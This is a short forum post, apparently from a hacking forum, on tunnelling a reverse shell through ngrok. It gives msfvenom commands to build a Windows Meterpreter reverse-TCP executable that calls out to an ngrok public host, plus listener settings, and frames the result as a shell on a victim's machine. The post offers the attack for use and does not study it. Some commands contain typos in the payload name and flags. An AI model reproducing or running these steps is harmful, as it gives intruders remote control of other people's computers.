• XSS.stack #1 – первый литературный журнал от юзеров форума

Pivoting port forward need help

First method Download ngrok - Online in One Line
then add token and run ./ngrok tcp 4444
you will get something like this
1664646665184.png


Now take the host 0.tcp.eu.ngrok.io and port 14937 to your payload
msfvenom - p windows/x64/metepreter/reverse_tcp LHOST=[NGROK PUBLIC HOST] LPORT=[NGROK PORT] -f exe -a x64 --platform win -o revshell_x64.exe
msfvenom - p windows/x64/metepreter/reverse_tcp LHOST=0.tcp.eu.ngrok.io LPORT=14937 -f exe -a x64 --platform win -o revshell_x64.exe

In your listener lister

set lhost 0.0.0.0
set lport 4444

You should get a reverse shell when the executable is executed to the victims' machine.


Second method is your homework using portma.io
You can also use ssh port forwarding.
 


Напишите ответ...
  • Вставить:
Прикрепить файлы
Верх